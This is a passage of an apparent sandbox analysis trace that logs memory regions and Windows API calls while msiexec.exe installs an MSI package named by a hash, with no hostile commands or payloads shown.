monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 434 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 435 start_va = 0x150000 end_va = 0x16afff monitored = 1 entry_point = 0x1522e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 436 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 437 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 438 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 439 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 440 start_va = 0x3d70000 end_va = 0x3dfefff monitored = 0 entry_point = 0x3d71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 441 start_va = 0x3e50000 end_va = 0x3e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 442 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 443 start_va = 0x7fef5e80000 end_va = 0x7fef5efffff monitored = 0 entry_point = 0x7fef5ed17a0 region_type = mapped_file name = "msihnd.dll" filename = "\\Windows\\System32\\msihnd.dll" (normalized: "c:\\windows\\system32\\msihnd.dll") Region: id = 444 start_va = 0x7fefeac0000 end_va = 0x7fefeb56fff monitored = 0 entry_point = 0x7fefeac13e8 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 445 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 446 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 447 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 448 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 449 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 450 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 451 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 452 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 453 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 454 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 455 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 456 start_va = 0x160000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 457 start_va = 0x170000 end_va = 0x183fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 5655 start_va = 0x160000 end_va = 0x164fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 5656 start_va = 0x3fc0000 end_va = 0x403ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fc0000" filename = "" Region: id = 5657 start_va = 0x52c0000 end_va = 0x6614fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 5658 start_va = 0x170000 end_va = 0x170fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Thread: id = 1 os_tid = 0xf0c [0054.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fe70 | out: lpSystemTimeAsFileTime=0x20fe70*(dwLowDateTime=0x58094f10, dwHighDateTime=0x1d8a8f3)) [0054.699] GetCurrentProcessId () returned 0xf08 [0054.699] GetCurrentThreadId () returned 0xf0c [0054.699] GetTickCount () returned 0x186a7ca [0054.699] QueryPerformanceCounter (in: lpPerformanceCount=0x20fe78 | out: lpPerformanceCount=0x20fe78*=2569371482770) returned 1 [0054.699] GetStartupInfoW (in: lpStartupInfo=0x20fe20 | out: lpStartupInfo=0x20fe20*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\msiexec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1d8a8f358094f10, hStdOutput=0x2563a797a92, hStdError=0x0)) [0054.699] GetModuleHandleW (lpModuleName=0x0) returned 0xffbe0000 [0054.699] __set_app_type (_Type=0x2) [0054.700] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbf7254) returned 0x0 [0054.700] __getmainargs (in: _Argc=0xffbfd058, _Argv=0xffbfd068, _Env=0xffbfd060, _DoWildCard=0, _StartInfo=0xffbfd074 | out: _Argc=0xffbfd058, _Argv=0xffbfd068, _Env=0xffbfd060) returned 0 [0054.700] _onexit (_Func=0xffbf7a0c) returned 0xffbf7a0c [0054.700] _onexit (_Func=0xffbf7a30) returned 0xffbf7a30 [0054.700] _onexit (_Func=0xffbf7a44) returned 0xffbf7a44 [0054.701] _onexit (_Func=0xffbf7a84) returned 0xffbf7a84 [0054.702] GetVersionExW (in: lpVersionInformation=0x20fc10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x20fc10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0054.702] LoadLibraryW (lpLibFileName="COMCTL32") returned 0x7fefb7a0000 [0055.662] GetProcAddress (hModule=0x7fefb7a0000, lpProcName="InitCommonControlsEx") returned 0x7fefb7c7ef0 [0055.662] InitCommonControlsEx (picce=0x20fdc0) returned 1 [0055.664] GetVersionExW (in: lpVersionInformation=0x20e010*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x10158, dwBuildNumber=0x0, dwPlatformId=0x3a0043, szCSDVersion="\\Wö\x02") | out: lpVersionInformation=0x20e010*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.665] GetCommandLineW () returned="\"C:\\Windows\\System32\\msiexec.exe\" /i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" " [0055.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.665] GetFileType (hFile=0x0) returned 0x0 [0055.665] memcpy (in: _Dst=0x20e380, _Src=0xffbe2d80, _Size=0x20 | out: _Dst=0x20e380) returned 0x20e380 [0055.666] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="i", cchCount2=-1) returned 2 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="update", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="uninstall", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="package", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="help", cchCount2=-1) returned 3 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="quiet", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="passive", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="norestart", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="forcerestart", cchCount2=-1) returned 3 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="promptrestart", cchCount2=-1) returned 1 [0055.676] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" ", cchCount1=1, lpString2="log", cchCount2=-1) returned 1 [0055.676] memcpy (in: _Dst=0x20e540, _Src=0x20d9c8, _Size=0xbc | out: _Dst=0x20e540) returned 0x20e540 [0055.677] GetVersion () returned 0x1db10106 [0055.677] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76b00000 [0055.677] GetProcAddress (hModule=0x76b00000, lpProcName="HeapSetInformation") returned 0x76b1b8d0 [0055.677] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.677] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0055.678] MsiSetInternalUI (in: dwUILevel=0x5, phWnd=0x0 | out: phWnd=0x0) returned 0x1 [0055.682] lstrlenW (lpString="") returned 0 [0055.682] lstrlenW (lpString="") returned 0 [0055.683] MsiInstallProductW (szPackagePath="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", szCommandLine=" ") Thread: id = 2 os_tid = 0xf1c Thread: id = 3 os_tid = 0xf20 Thread: id = 4 os_tid = 0xf24 Thread: id = 5 os_tid = 0xf28 Thread: id = 6 os_tid = 0xf2c Thread: id = 167 os_tid = 0xda0 Process: id = "2" image_name = "msiexec.exe" filename = "c:\\windows\\system32\\msiexec.exe" page_root = "0x457f7000" os_pid = "0xf30" os_integrity_level = "0x4000" os_privileges = "0x60a1e190" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\msiexec.exe /V" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 352 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 353 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msiexec.exe.mui" filename = "\\Windows\\System32\\en-US\\msiexec.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\msiexec.exe.mui") Region: id = 354 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 355 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 356 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 357 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 358 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 359 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 360 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 361 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 362 start_va = 0x270000 end_va = 0x271fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 363 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 364 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 365 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 366 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 367 start_va = 0x710000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 368 start_va = 0x7d0000 end_va = 0xa9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 369 start_va = 0xaa0000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 370 start_va = 0xb60000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 371 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 372 start_va = 0xd50000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 373 start_va = 0xec0000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 374 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 375 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 376 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 377 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 378 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 379 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 380 start_va = 0xffbe0000 end_va = 0xffc03fff monitored = 1 entry_point = 0xffbf70c0 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\System32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe") Region: id = 381 start_va = 0x7fef7830000 end_va = 0x7fef7b45fff monitored = 1 entry_point = 0x7fef7833e98 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 382 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 383 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 384 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 385 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 386 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 387 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 388 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 389 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 390 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 391 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 392 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 393 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 394 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 395 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 396 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 397 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 398 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 399 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 400 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 401 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 402 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 403 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 404 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 405 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 406 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 407 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 408 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 409 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 458 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 459 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 460 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 461 start_va = 0x74a20000 end_va = 0x74a26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 462 start_va = 0x280000 end_va = 0x293fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 463 start_va = 0xf40000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 464 start_va = 0x1050000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 465 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 466 start_va = 0x7fffffac000 